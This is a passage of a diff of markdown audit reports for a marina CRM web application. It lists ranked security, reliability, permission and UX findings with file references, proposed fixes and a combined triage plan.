**Fix:** disable the Replay button when `status === 'success'`. The UI
|
||||
already gates on `'failed' || 'dead_letter'` — verify it stays that
|
||||
way (`webhook-delivery-log.tsx:118-131` looks correct; double-check
|
||||
no regressions).
|
||||
|
||||
### M8. `audit_logs` table has no DELETE permission gate
|
||||
|
||||
**Files:** schema and routes
|
||||
|
||||
There's no admin endpoint to delete audit rows (good). But there's no
|
||||
DB-level guard either. A super_admin who runs `db:reset` wipes audit
|
||||
history. Audit retention should be enforced at the schema level so
|
||||
even a misconfigured operator can't blow away the trail.
|
||||
|
||||
**Fix:** create a `audit_logs_no_delete_role` postgres role that lacks
|
||||
DELETE on the table; document that the app's DB user should not have
|
||||
DELETE on `audit_logs` in production deployments.
|
||||
|
||||
### M9. Documenso void worker uses dynamic import every time
|
||||
|
||||
**File:** `src/lib/queue/workers/documents.ts:25`
|
||||
|
||||
```ts
|
||||
const { voidDocument } = await import('@/lib/services/documenso-client');
|
||||
```
|
||||
|
||||
Dynamic import inside a hot per-job path is fine the first time but
|
||||
slows every subsequent call slightly. Move to top-of-file import
|
||||
unless there's a deliberate reason (circular dep?).
|
||||
|
||||
**Fix:** test moving to top-level import; if it works (no circular
|
||||
deps), keep it there.
|
||||
|
||||
### M10. Bulk archive wizard "blocked" reason copy truncates at first line
|
||||
|
||||
**File:** `src/components/clients/bulk-archive-wizard.tsx:153-163`
|
||||
|
||||
The wizard shows `b.blockers[0]` for blocked clients. If the dossier
|
||||
has multiple blockers, only the first is shown. Operators may fix the
|
||||
first one, retry, and discover a second.
|
||||
|
||||
**Fix:** show all blockers (joined with `·`) or a "+N more" badge
|
||||
with click-to-expand.
|
||||
|
||||
---
|
||||
|
||||
## LOW
|
||||
|
||||
### L1. `next-in-line-notify.service.ts` could double-fire on archive retry
|
||||
|
||||
**File:** `src/app/api/v1/clients/[id]/archive/route.ts:114-135`
|
||||
|
||||
If the smart-archive request succeeds at the DB transaction level but
|
||||
the response upload-side fails (network blip, browser closes), the
|
||||
operator may retry. Each retry re-fires the next-in-line notification
|
||||
to all sales recipients. The `dedupeKey: berth-released:{berthId}`
|
||||
inside the notification helper deduplicates within a cooldown window —
|
||||
so this is mitigated, but worth verifying the cooldown is set and
|
||||
not 0.
|
||||
|
||||
### L2. `interests.berth_id` reference in `seed-data.ts` (legacy seed)
|
||||
|
||||
**File:** `src/lib/db/seed-data.ts:973`
|
||||
|
||||
The realistic seed inserts `berthId: ...` on the interests table. Per
|
||||
`CLAUDE.md`, that column was dropped in migration 0029 and replaced
|
||||
with `interest_berths` junction. The synthetic seed uses the junction
|
||||
correctly. The realistic seed will FAIL at insert time if anyone
|
||||
tries to run it on a freshly-migrated DB.
|
||||
|
||||
**Fix:** rewrite `seed-data.ts:969-982` to insert into `interests`
|
||||
without `berthId`, then insert the junction rows separately (mirror
|
||||
the synthetic seed's pattern).
|
||||
|
||||
### L3. Audit log entry for failed login uses `entityId = attemptedEmail` (unbounded)
|
||||
|
||||
**File:** `src/app/api/auth/[...all]/route.ts:53-68`
|
||||
|
||||
If the entityId is very long (a 500-char "email"), it goes into the
|
||||
DB column. The column is `text` (unbounded) so no DB error, but FTS
|
||||
search-text may bloat.
|
||||
|
||||
**Fix:** truncate attempted email to 256 chars before using as
|
||||
entityId.
|
||||
|
||||
### L4. The "watch the watchers" audit fires for filtered queries too
|
||||
|
||||
**File:** `src/app/api/v1/admin/audit/route.ts:48-72`
|
||||
|
||||
(See H2 above for the page-spam variant.) Even on a single search,
|
||||
an audit row containing the search term is written. If the search
|
||||
term itself is sensitive (e.g. an admin searches for a specific
|
||||
client's name in audit logs), it's now in the audit log of audit-log
|
||||
viewing. Acceptable but worth documenting.
|
||||
|
||||
### L5. Import worker is a stub
|
||||
|
||||
**File:** `src/lib/queue/workers/import.ts:13`
|
||||
|
||||
`// TODO(L2): implement import job handlers` — the worker is wired
|
||||
into the queue and registered, but does nothing. If anyone enqueues
|
||||
an `import:*` job, it returns immediately. Either ship the feature
|
||||
or remove the queue.
|
||||
|
||||
### L6. `interest-form.tsx` two TODOs about company-yacht filter + add-yacht inline
|
||||
|
||||
**File:** `src/components/interests/interest-form.tsx:332-333`
|
||||
|
||||
Real product gaps. When creating an interest for a client who's a
|
||||
member of a company, you can't pick a yacht owned by that company.
|
||||
And there's no inline "Add yacht" shortcut in the form.
|
||||
|
||||
### L7. `berth-spec-template.ts` defaults to `'Price: TBD'` when price is null
|
||||
|
||||
**File:** `src/lib/pdf/templates/berth-spec-template.ts:128`
|
||||
|
||||
Generated berth-spec PDFs say "Price: TBD" for any berth without a
|
||||
price. Cosmetic — verify whether sales considers this an acceptable
|
||||
fallback or wants to suppress the line entirely.
|
||||
|
||||
---
|
||||
|
||||
## Things checked and found OK (so we don't re-audit)
|
||||
|
||||
- Tenant isolation on hard-delete (`portId` filter on every query and
|
||||
inside the tx).
|
||||
- `withPermission` gates on every new route (bulk-archive-preflight,
|
||||
hard-delete-_, bulk-hard-delete-_, redeliver).
|
||||
- Audit log: no public DELETE endpoint, no PATCH endpoint.
|
||||
- Sidebar nav properly gates marina sections from `residential_partner`
|
||||
via `hasMarinaAccess`.
|
||||
- Auth wrapper rebuilds the request body correctly so the upstream
|
||||
better-auth handler can re-read it (no body-already-consumed bug).
|
||||
- Webhook outbound SSRF guard with DNS rebinding protection still
|
||||
intact.
|
||||
- 1175/1175 vitest suite passing as of last run.
|
||||
|
||||
---
|
||||
|
||||
## Recommended fix order (ROUND 1 + 2 combined — see below for Round 2)
|
||||
|
||||
See **"Triage list" at the end** of this document — combined ranking
|
||||
across both audit rounds.
|
||||
|
||||
---
|
||||
|
||||
## Round 2 — focused agents (added 2026-05-06 evening)
|
||||
|
||||
After the original synthesis above, four scoped agents (smaller blast
|
||||
radius, hard finding caps) successfully audited their domains and
|
||||
produced dedicated docs. Findings are linked here with `R2-`-prefixed
|
||||
IDs. Detail in:
|
||||
|
||||
- [audit-reliability-2026-05-06.md](audit-reliability-2026-05-06.md) — 11 findings
|
||||
- [audit-frontend-2026-05-06.md](audit-frontend-2026-05-06.md) — 12 findings
|
||||
- [audit-permissions-2026-05-06.md](audit-permissions-2026-05-06.md) — 9 findings
|
||||
- [audit-missing-features-2026-05-06.md](audit-missing-features-2026-05-06.md) — 12 findings
|
||||
|
||||
### Round 2 — CRITICAL
|
||||
|
||||
**R2-C1. Bulk archive discards post-commit side effects** ([reliability C1](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/app/api/v1/clients/bulk/route.ts:68-134`
|
||||
- The bulk wizard's `runBulk` callback discards the return value from
|
||||
`archiveClientWithDecisions`. **Documenso envelopes marked
|
||||
`void_documenso` are never queued for void; "next-in-line" sales
|
||||
notifications never fire**. The CRM ends up showing `documents.status='cancelled'`
|
||||
while the live envelope is still out for signature — a signer can
|
||||
legally complete a doc the CRM thinks is voided.
|
||||
- Same severity tier as the original C1 (worker-imports).
|
||||
|
||||
**R2-C2. Frontend: Restore icon hovers destructive-red on archived clients** ([frontend C1](audit-frontend-2026-05-06.md))
|
||||
|
||||
- File: `src/components/clients/client-detail-header.tsx:174-186`
|
||||
- Conditional `hover:text-destructive` is overridden by an unconditional
|
||||
`hover:text-foreground` earlier in the class string. Result: the
|
||||
Restore button on archived clients hovers blood-red, signalling
|
||||
"destructive" on a fully reversible action. Users hesitate to click.
|
||||
Promoted to "critical UX" because it's directly misleading on every
|
||||
archived client view.
|
||||
|
||||
### Round 2 — HIGH
|
||||
|
||||
**R2-H1. Smart-restore wizard's `berth_released` reversal is a no-op but the audit log claims success**
|
||||
([reliability H1](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/lib/services/client-restore.service.ts:359-372`
|
||||
- Already noted as M4 in the original synthesis. Round-2 reliability
|
||||
agent escalated to HIGH because the wizard counter increments and
|
||||
the audit log records "1 auto-reversed" — operator believes the berth
|
||||
was re-attached when nothing happened. Same fix path: persist the
|
||||
original `interestId` in the decision detail and re-link on restore.
|
||||
|
||||
**R2-H2. Smart-archive berth status update has TOCTOU race**
|
||||
([reliability H2](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/lib/services/client-archive.service.ts:191-207`
|
||||
- Berth row read outside tx, mutated inside tx without `for update`
|
||||
lock. Concurrent archive + sale of the same berth can race: the
|
||||
archive flow flips a freshly-sold berth back to `available`. Add
|
||||
`select … for update` on `berths` before the status flip.
|
||||
|
||||
**R2-H3. Bulk archive can pick the wrong interest for berth release**
|
||||
([reliability H3](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/app/api/v1/clients/bulk/route.ts:95-103`
|
||||
- Lookup by `primaryBerthMooring` falls back to `dossier.interests[0]?.interestId ?? ''`.
|
||||
Empty-string `interestId` reaches the delete and silently matches
|
||||
zero rows; the link is silently retained while the audit log claims
|
||||
it was removed.
|
||||
|
||||
**R2-H4. External EOI runs five operations outside a transaction**
|
||||
([reliability H4](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/lib/services/external-eoi.service.ts:67-155`
|
||||
- Storage upload + 4 DB writes are independent. Mid-flight failure
|
||||
leaves orphan PDFs in S3/MinIO and partial DB state.
|
||||
|
||||
**R2-H5. Bulk wizard double-submit treats `ConflictError('already archived')` as a per-row error**
|
||||
([reliability H5](audit-reliability-2026-05-06.md))
|
||||
|
||||
- File: `src/app/api/v1/clients/bulk/route.ts:68-120`
|
||||
- No idempotency key on the bulk endpoint. A double-submit (network
|
||||
retry, double click) makes the second response look like all rows
|
||||
failed even though the first succeeded.
|
||||
|
||||
**R2-H6. Webhook replay button has no UI permission gate (403 toast spam)**
|
||||
([permissions H1](audit-permissions-2026-05-06.md))
|
||||
|
||||
- File: `src/components/admin/webhooks/webhook-delivery-log.tsx:118-131`
|
||||
- Replay button renders for any user who can load the page. Server gates
|
||||
on `admin.manage_webhooks`. Non-admins see enabled buttons; clicking
|
||||
surfaces a generic 403 toast.
|
||||
|
||||
**R2-H7. Bulk Archive bulk action exposed to roles without `clients.delete`**
|
||||
([permissions H2](audit-permissions-2026-05-06.md))
|
||||
|
||||
- File: `src/components/clients/client-list.tsx:182-190`
|
||||
- `sales_agent` and `viewer` see the Archive bulk action; clicking
|
||||
surfaces a 403 from preflight. Mirror the `canHardDelete` pattern:
|
||||
`const canBulkArchive = can('clients', 'delete');`
|
||||
|
||||
**R2-H8. Bulk add_tag / remove_tag exposed to viewer**
|
||||
([permissions H3](audit-permissions-2026-05-06.md))
|
||||
|
||||
- File: `src/components/clients/client-list.tsx:165-181`
|
||||
- Same pattern as R2-H7 — no UI gate; server gates on `clients.edit`.
|
||||
|
||||
**R2-H9. Bulk hard-delete silently skips rows that vanish between preflight and execute**
|
||||
([permissions H4](audit-permissions-2026-05-06.md))
|
||||
|
||||
- File: `src/lib/services/client-hard-delete.service.ts:377`
|
||||
- `if (!c) continue;` swallows any client that was archived/restored/
|
||||
deleted by another operator between preflight and execute. Operator
|
||||
sees a `deletedCount` lower than requested and no signal which IDs
|
||||
were skipped.
|
||||
|
||||
**R2-H10. Frontend: `webhook-delivery-log` and `audit-log-list` swallow fetch errors silently**
|
||||
([frontend H3, H4](audit-frontend-2026-05-06.md))
|
||||
|
||||
- Files: `src/components/admin/webhooks/webhook-delivery-log.tsx:61-74`,
|
||||
`src/components/admin/audit/audit-log-list.tsx:150-175`
|
||||
- Both wrap fetches in `try/finally` with no `catch`. Failed loads show
|
||||
spinner forever or stale data; user has no signal that anything
|
||||
failed. Surface via `toast.error` + inline retry banner.
|
||||
|
||||
**R2-H11. Frontend: `audit-log-card` renders as `<a href="#">` — page-jumps on mobile tap**
|
||||
([frontend H5](audit-frontend-2026-05-06.md))
|
||||
|
||||
- File: `src/components/admin/audit/audit-log-card.tsx:96`
|
||||
- Card view rows on mobile insert `#` in URL on tap (back-button trap).
|
||||
Render as button or div, or link to a useful destination.
|
||||
|
||||
**R2-H12. Frontend: `smart-archive-dialog` doesn't invalidate the dossier or single-client query**
|
||||
([frontend H6](audit-frontend-2026-05-06.md))
|
||||
|
||||
- File: `src/components/clients/smart-archive-dialog.tsx:197-212`
|
||||
- Detail page header keeps showing client as un-archived after a
|
||||
successful archive until hard reload. Add
|
||||
`qc.invalidateQueries({queryKey: ['clients', clientId]})` and
|
||||
`qc.removeQueries({queryKey: ['client-archive-dossier', clientId]})`.
|
||||
|
||||
**R2-H13. Frontend: bulk tag mutation uses `alert()` and lacks `onError`**
|
||||
([frontend H2](audit-frontend-2026-05-06.md))
|
||||
|
||||
- File: `src/components/clients/client-list.tsx:88-106`
|
||||
- Native `alert()` blocks the page on partial failure; pure network
|
||||
failure shows nothing. Replace with `toast.warning` / `toast.error`.
|
||||
|
||||
**R2-H14. Email-template subject overrides are no-ops for 6 of 8 templates**
|
||||
([missing-features V1](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Files: `src/components/admin/email-templates-admin.tsx:24-72` (UI),
|
||||
`src/lib/services/portal-auth.service.ts:120,332` (only consumers)
|
||||
- Admin sees an "Overridden" badge after saving a custom subject for
|
||||
CRM invite, inquiry confirmation, residential templates, etc. — but
|
||||
the senders ship the hardcoded subject regardless. Wire
|
||||
`loadSubjectOverride(portId, key)` into the 6 missing senders.
|
||||
|
||||
**R2-H15. Branding admin saves 5 settings that nothing reads**
|
||||
([missing-features V2](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Files: `src/app/(dashboard)/[portSlug]/admin/branding/page.tsx`,
|
||||
`src/lib/services/port-config.ts:240-272`
|
||||
- Logo URL, app name, primary color, header HTML, footer HTML all
|
||||
dead-end. `getPortBrandingConfig` has zero callers. **Multi-tenant
|
||||
promise broken — every port's emails ship Port Nimara's branding.**
|
||||
|
||||
**R2-H16. Reminder admin saves digest defaults that no scheduler applies**
|
||||
([missing-features V3](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Files: `src/app/(dashboard)/[portSlug]/admin/reminders/page.tsx`,
|
||||
`src/lib/services/port-config.ts:284-306`
|
||||
- Sales reps think they configured a daily digest at 09:00 in their
|
||||
TZ; they get fire-as-they-hit notifications instead. The digest
|
||||
scheduler doesn't exist.
|
||||
|
||||
### Round 2 — MEDIUM (selected highlights)
|
||||
|
||||
**R2-M1. Portal "My Memberships" tile is a dead-end** ([missing-features V4](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Tile on `/portal/dashboard` has no `href`; route doesn't exist. Either
|
||||
ship `/portal/memberships` or remove the tile.
|
||||
|
||||
**R2-M2. Company detail Documents tab is a "Coming soon" stub** ([missing-features V5](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- `src/components/companies/company-tabs.tsx:230-234`. Same problem
|
||||
as the three already-noted "coming soon" stubs but on a different
|
||||
entity.
|
||||
|
||||
**R2-M3. Onboarding page is a static checklist not the wizard it advertises** ([missing-features V6](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- The page literally says "what this page will become". Either build
|
||||
the wizard or relabel the landing card.
|
||||
|
||||
**R2-M4. Backup admin page is a docs page despite landing copy promising "on-demand exports"** ([missing-features V7](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Once C1 (worker imports) is fixed, the existing `database-backup`
|
||||
job is reachable; small lift to wire a "Take backup now" button.
|
||||
|
||||
**R2-M5. Inquiry inbox has zero triage actions** ([missing-features V8](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- No "Convert to client", no "Resolve", no "Assign". `website_submissions`
|
||||
table is permanent; sales has to copy-paste emails into client forms.
|
||||
|
||||
**R2-M6. external-eoi grants only `documents.upload_signed` but mutates interest state** ([permissions M1](audit-permissions-2026-05-06.md))
|
||||
|
||||
- A custom role with `documents.upload_signed:true` + `interests.edit:false`
|
||||
can flip an interest to "signed" via the external-EOI route.
|
||||
|
||||
**R2-M7. `InlineStagePicker` never sends `override:true` — `override_stage` permission unreachable from the most-used UI path** ([permissions M2](audit-permissions-2026-05-06.md))
|
||||
|
||||
- Users with the perm have to fall back to the modal `InterestStagePicker`
|
||||
to actually use it.
|
||||
|
||||
**R2-M8. `sales_agent` granted `interests.override_stage:true` — likely copy-paste from sales_manager** ([permissions M3](audit-permissions-2026-05-06.md))
|
||||
|
||||
- All other trust-elevated flags are stripped from sales_agent. Needs a
|
||||
product decision; either flip to false or document intent.
|
||||
|
||||
**R2-M9. `bulk-archive-preflight` leaks dossier-loader error text in `blockers`** ([permissions M4](audit-permissions-2026-05-06.md))
|
||||
|
||||
- An attacker enumerating UUIDs can distinguish "doesn't exist" vs
|
||||
"exists but you can't see it". Replace with generic "Could not load
|
||||
dossier".
|
||||
|
||||
**R2-M10. Documenso void worker has no max-retry alert hook** ([reliability M2](audit-reliability-2026-05-06.md))
|
||||
|
||||
- A persistent 401/403 retries forever. On exhaustion, write back to
|
||||
`documents` (`cancellation_failed=true`) and notify admin.
|
||||
|
||||
**R2-M11. Mobile More-sheet missing residential, notifications, berth-reservations, website-analytics** ([missing-features V9](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Mobile users have zero path to entire feature domains. Add to
|
||||
`MORE_ITEMS`.
|
||||
|
||||
**R2-M12. Portal has no profile / change-password surface** ([missing-features V10](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Forces every portal user to use the forgot-password flow even when
|
||||
they remember their old password. Ship `/portal/profile`.
|
||||
|
||||
**R2-M13. Portal invoices show amounts but no PDF download** ([missing-features V11](audit-missing-features-2026-05-06.md))
|
||||
|
||||
- Documents page does have downloads; mirror the pattern.
|
||||
|
||||
(Plus several more medium/low items in the dedicated docs; see those
|
||||
for the full set.)
|
||||
|
||||
---
|
||||
|
||||
## TRIAGE LIST (combined Round 1 + Round 2)
|
||||
|
||||
### Ship now — CRITICAL
|
||||
|
||||
1. **C1** — wire the 5 missing BullMQ workers (`worker.ts`, `server.ts`)
|
||||
— 5-line fix; every webhook + cron flow is currently dead.
|
||||
2. **R2-C1** — make bulk archive enqueue Documenso voids + next-in-line
|
||||
notifications (return value plumbing in `bulk/route.ts`).
|
||||
3. **R2-C2** — fix the destructive-red hover on the Restore button
|
||||
(`client-detail-header.tsx`). Trivial CSS fix.
|
||||
|
||||
### Ship this week — HIGH (security/UX with concrete user impact)
|
||||
|
||||
4. **H1** — rate-limit the hard-delete-request endpoints.
|
||||
5. **H3** — collapse "no code" vs "wrong code" into one error message.
|
||||
6. **H7** — three "coming soon" stubs in client/berth tabs.
|
||||
7. **R2-H1** — fix smart-restore's silent `berth_released` no-op (or
|
||||
reclassify as `reversibleWithPrompt`).
|
||||
8. **R2-H2** — add `for update` lock on the smart-archive berth status
|
||||
flip (TOCTOU race).
|
||||
9. **R2-H3** — bulk-archive's wrong-interest fallback — empty-string
|
||||
interestId silently no-ops.
|
||||
10. **R2-H6, R2-H7, R2-H8** — three permission UI-gate misses on
|
||||
bulk actions and the webhook-replay button. ~30 lines total.
|
||||
11. **R2-H10, R2-H12, R2-H13** — frontend swallowed errors + missing
|
||||
invalidation + alert() instead of toast. Small fixes, immediate UX
|
||||
win.
|
||||
12. **R2-H11** — `audit-log-card` `href="#"` mobile back-button trap.
|
||||
13. **R2-H14** — wire 6 missing email-subject overrides through their
|
||||
senders.
|
||||
|
||||
### Next sprint — HIGH/MEDIUM (operational + multi-tenant correctness)
|
||||
|
||||
14. **R2-H4** — wrap external-EOI in a transaction.
|
||||
15. **R2-H5** — bulk-archive idempotency key + treat already-archived as
|
||||
success in bulk.
|
||||
16. **R2-H9** — bulk hard-delete should return `skipped: string[]`.
|
||||
17. **R2-H15, R2-H16** — branding + reminder admin pages save settings
|
||||
nothing reads (silently broken multi-tenancy).
|
||||
18. **H2** — audit-page-view de-dupe (don't spam on every filter change).
|
||||
19. **H4** — synthetic seed needs documented dev-user setup or its own
|
||||
bootstrap script.
|
||||
20. **H5** — Documenso bad-secret rate-limit per IP.
|
||||
21. **R2-M1 through R2-M5** — portal memberships dead-end, company
|
||||
Documents stub, onboarding wizard, backup page, inquiry inbox triage.
|
||||
|
||||
### Backlog — MEDIUM/LOW + remaining items
|
||||
|
||||
22. The remaining MEDIUM/LOW from both rounds — see the dedicated docs.
|
||||
|
||||
---
|
||||
|
||||
## Headline numbers (combined)
|
||||
|
||||
- **3 CRITICAL** (worker imports, bulk-archive side-effects, restore-button hover)
|
||||
- **22 HIGH** (security + UX with concrete impact)
|
||||
- **~15 MEDIUM** (operational hygiene, multi-tenancy gaps, unfinished features)
|
||||
- **~10 LOW** (cleanup, defensive)
|
||||
|
||||
Round 1 was a manual synthesis after agent-pool stalls; Round 2 was
|
||||
four focused agents with hard finding caps that all completed inside
|
||||
the watchdog window. Every finding is grounded in code references.
|
||||
@@ -1,278 +0,0 @@
|
||||
# Final audit deferred findings
|
||||
|
||||
> **Status update (audit-v3 round)**: most of the v2 deferred items have
|
||||
> now landed. Items struck through below are completed. The remaining
|
||||
> open items are bigger refactors (custom-fields per-entity routes,
|
||||
> systemSettings PK reconciliation, Documenso v2 voidDocument verification,
|
||||
> partial-vs-composite archived index conversion, storage-proxy port_id
|
||||
> claim, Documenso webhook port_id enforcement, response-shape
|
||||
> standardization, berths.current_pdf_version_id Drizzle FK).
|
||||
|
||||
The pre-merge audit on `feat/berth-recommender` produced ~30 findings. The
|
||||
critical + high-severity items were fixed in-branch. The items below are
|
||||
medium / low severity and deferred to follow-up issues so the merge isn't
|
||||
held up. Each entry is self-contained — pick one off and ship it.
|
||||
|
||||
## Cross-cutting integration
|
||||
|
||||
- **EOI in-app pathway silently swallows missing `Berth Range` AcroForm field**
|
||||
— `src/lib/pdf/fill-eoi-form.ts:93`. `setText(form, 'Berth Range', ...)`
|
||||
is wrapped in a try/catch that succeeds silently when the field is
|
||||
absent. CLAUDE.md already warns ops about needing to add the field to
|
||||
the live Documenso template; this code change would make the deployment
|
||||
gap observable. Fix: when `context.eoiBerthRange` is non-empty AND the
|
||||
field is absent, log at warn level + surface a structured response field.
|
||||
|
||||
- **Email body merge expansion happens after token validation** —
|
||||
`src/lib/services/document-sends.service.ts:399-403`. If a merge value
|
||||
contains a `{{token}}` substring (e.g. a client name like
|
||||
`"Acme {{discount}} Inc."`), the expanded body will contain a token
|
||||
the unresolved-check missed and ships with literal braces. Fix: HTML-
|
||||
escape merge values before expansion, OR run a second
|
||||
`findUnresolvedTokens` against the expanded body.
|
||||
|
||||
- **Filesystem dev-fallback HMAC secret can drift across processes** —
|
||||
`src/lib/storage/filesystem.ts:328-331`. The dev-only fallback derives
|
||||
the HMAC secret from `BETTER_AUTH_SECRET`. Two CRM processes running
|
||||
with different secrets (web vs worker) reject each other's tokens.
|
||||
Fix: assert `BETTER_AUTH_SECRET` is set when filesystem backend is
|
||||
active in non-prod, or document the requirement loudly.
|
||||
|
||||
- **Berth PDF apply path: numeric column nulling silently drops** —
|
||||
`src/lib/services/berth-pdf.service.ts:473-475`. When
|
||||
`Number.isFinite(n)` is false the apply loop `continue`s without
|
||||
pushing to `applied` and without warning. Combined with the
|
||||
"no appliable fields supplied" check (only fires when ALL drop), partial
|
||||
silent drops are invisible. Fix: collect dropped keys and surface them.
|
||||
|
||||
## Multi-tenant isolation hardening
|
||||
|
||||
- **document_sends row stores `interestId` without verifying port match** —
|
||||
`src/lib/services/document-sends.service.ts:422`. Audit-log pollution
|
||||
rather than data exposure (the recipient lookup is port-checked already).
|
||||
Fix: when `recipient.interestId` is set, fetch with
|
||||
`and(eq(interests.id, ...), eq(interests.portId, input.portId))` and
|
||||
throw if missing.
|
||||
|
||||
- **Storage proxy token does not bind to port_id** —
|
||||
`src/lib/storage/filesystem.ts:73-84`. ProxyTokenPayload is `{k, e, n,
|
||||
f?, c?}` with a global HMAC. The current "issuer always checks port
|
||||
first" relies on every issuer being correct in perpetuity. Fix: add a
|
||||
`p` (portId) claim and have the proxy route resolve key→owner row +
|
||||
assert `owner.portId === payload.p` before streaming.
|
||||
|
||||
- **Documenso webhook does not enforce port_id on document lookups** —
|
||||
`src/app/api/webhooks/documenso/route.ts:96-148`. Handlers dispatch by
|
||||
global `documensoId`. If two ports' documents were ever issued the
|
||||
same Documenso ID (replay across staging/prod, forwarded webhook from
|
||||
a foreign instance), the wrong port's interest could be mutated. The
|
||||
per-body `signatureHash` dedup is partial mitigation. Fix: either
|
||||
(a) include the originating Documenso instance/team in the lookup, or
|
||||
(b) verify `documents(documenso_id)` has a unique index port-wide.
|
||||
|
||||
## Recent expense work polish
|
||||
|
||||
- **renderReceiptHeader cursor math drifts after multi-step writes** —
|
||||
`src/lib/services/expense-pdf.service.ts:854`. After
|
||||
`doc.text(...)` with auto-flow, `doc.y` advances. Using `doc.y -
|
||||
headerH + 10` after the rect+stroke block computes against the
|
||||
post-rect position; works only because pdfkit's text-after-rect
|
||||
hasn't moved y yet. Headers may misalign on the first receipt page
|
||||
after a soft page break. Fix: capture `const baseY = doc.y` before
|
||||
drawing the rect and compute all subsequent offsets relative to it.
|
||||
|
||||
## Settings parsing
|
||||
|
||||
- **`loadRecommenderSettings` rejects string-shaped JSONB booleans** —
|
||||
`src/lib/services/berth-recommender.service.ts:116`. Postgres returns
|
||||
JSONB `true/false` as JS booleans, but if an admin saves `"true"`
|
||||
via a UI that wraps the value as a string, `asBool` returns null and
|
||||
the per-port override silently falls through to defaults. Not a
|
||||
security bug; a tuning footgun. Fix: accept `"true"`/`"false"` string
|
||||
forms in `asBool`.
|
||||
|
||||
# Audit-final v2 (post-merge platform-wide pass) deferred findings
|
||||
|
||||
A second comprehensive audit (security, routes, DB, integrations, UI/UX)
|
||||
ran after the merge. The high-impact items landed in commit
|
||||
`fix(audit-final-v2): platform-wide hardening` (or similar). Items below
|
||||
are deferred follow-ups.
|
||||
|
||||
## Routes / API
|
||||
|
||||
- **Saved-views routes lack `withPermission`** —
|
||||
`src/app/api/v1/saved-views/[id]/route.ts:4-5` and
|
||||
`src/app/api/v1/saved-views/route.ts:24`. Convention is
|
||||
`withAuth(withPermission(...))`. Verify the service applies
|
||||
`(ctx.userId, ctx.portId)` ownership filtering, then add either an
|
||||
explicit owner-only comment or wrap with a benign permission gate.
|
||||
|
||||
- **Custom-fields permission resource hardcoded to `clients`** —
|
||||
`src/app/api/v1/custom-fields/[entityId]/route.ts:15,29`. Custom fields
|
||||
attach to client / yacht / interest / berth / company, but the route
|
||||
always checks `clients.view` / `clients.edit`. A user with
|
||||
`companies.view` can read confidential company custom-field values via
|
||||
this endpoint (the service-level `customFieldDefinitions.portId` filter
|
||||
prevents cross-tenant access but not cross-resource within a tenant).
|
||||
Fix: split into per-entity routes, OR resolve `entityType` and gate on
|
||||
the matching permission inline.
|
||||
|
||||
- **`alerts/[id]/acknowledge|dismiss` ungated** —
|
||||
`src/app/api/v1/alerts/[id]/acknowledge/route.ts:6` etc. only `withAuth`,
|
||||
no `withPermission`. Verify the service requires user ownership; if
|
||||
not, gate on `reports.view_dashboard` or similar.
|
||||
|
||||
- **Public POST routes bypass service layer** —
|
||||
`src/app/api/public/interests/route.ts`, `…/website-inquiries/route.ts`,
|
||||
`…/residential-inquiries/route.ts`. These do extensive `tx.insert(...)`
|
||||
with hand-rolled audit logs (`userId: null as unknown as string`).
|
||||
Extract a `publicInterestService.create(...)` so the same code path is
|
||||
unit-testable and port-id discipline is uniform. Verify
|
||||
`audit_logs.user_id` is nullable (the cast pattern signals it is, but
|
||||
enforce in schema if not).
|
||||
|
||||
- **Inconsistent response shapes** — most endpoints return `{ data: ... }`,
|
||||
but `notifications/[notificationId]` returns `{ success: true }`,
|
||||
`website-inquiries` returns `{ id, deduped }`. Document a convention in
|
||||
CLAUDE.md and migrate.
|
||||
|
||||
- **`req.json()` without `parseBody` helper** — admin custom-fields
|
||||
routes use `await req.json(); schema.parse(body)` directly instead of
|
||||
the project's `parseBody(req, schema)` helper. Migrate for uniform
|
||||
400 error shapes.
|
||||
|
||||
## Documenso integration
|
||||
|
||||
- **v2 voidDocument endpoint may not match real API** —
|
||||
`src/lib/services/documenso-client.ts:450-466`. The audit flagged that
|
||||
Documenso 2.x exposes envelope deletion as
|
||||
`POST /api/v2/envelope/delete` with `{ envelopeId }` body, not
|
||||
`DELETE /api/v2/envelope/{id}`. The unit test mocks fetch so it can't
|
||||
catch the real shape. Verify against a live Documenso 2.x instance
|
||||
(`pnpm exec playwright test --project=realapi`) before flipping any
|
||||
port to v2.
|
||||
|
||||
- **Webhook dedup vs per-recipient signed events** —
|
||||
`src/app/api/webhooks/documenso/route.ts:103-110`. The top-level
|
||||
`signatureHash` (sha256 of raw body) blocks exact replays, but a
|
||||
duplicate webhook delivery for a multi-recipient document with a
|
||||
re-encoded body will go through the per-recipient loop. Make
|
||||
`documentEvents.signatureHash` unique cover the suffixed values OR add
|
||||
a composite unique index `(documensoDocumentId, recipientEmail, eventType)`.
|
||||
|
||||
- **v1 `placeFields` per-field POST has no retry** —
|
||||
`src/lib/services/documenso-client.ts:374-398`. A single transient 500
|
||||
mid-loop leaves the document with a partial field set. Add 3-attempt
|
||||
exponential backoff on 5xx + voidDocument on final failure.
|
||||
|
||||
## Storage
|
||||
|
||||
- **S3 backend has no startup bucket-exists check** —
|
||||
`src/lib/storage/s3.ts:100-111`. A typo'd bucket name surfaces as a
|
||||
500 inside a user-facing request rather than at boot. Add
|
||||
`await client.bucketExists(bucket)` in `S3Backend.create` with a clear
|
||||
error message.
|
||||
|
||||
- **Storage cache fingerprint includes encrypted secret** —
|
||||
`src/lib/storage/index.ts:158-159`. After a key rotation the old
|
||||
cached client survives until `resetStorageBackendCache()` is called
|
||||
(already called via the settings-write hook). Document the
|
||||
invariant or fingerprint on a content-hash that excludes encrypted
|
||||
material.
|
||||
|
||||
- **Filesystem dev HMAC silent fallback** —
|
||||
`src/lib/storage/filesystem.ts:309-332`. Two dev nodes started with
|
||||
different `BETTER_AUTH_SECRET` derive different secrets and reject
|
||||
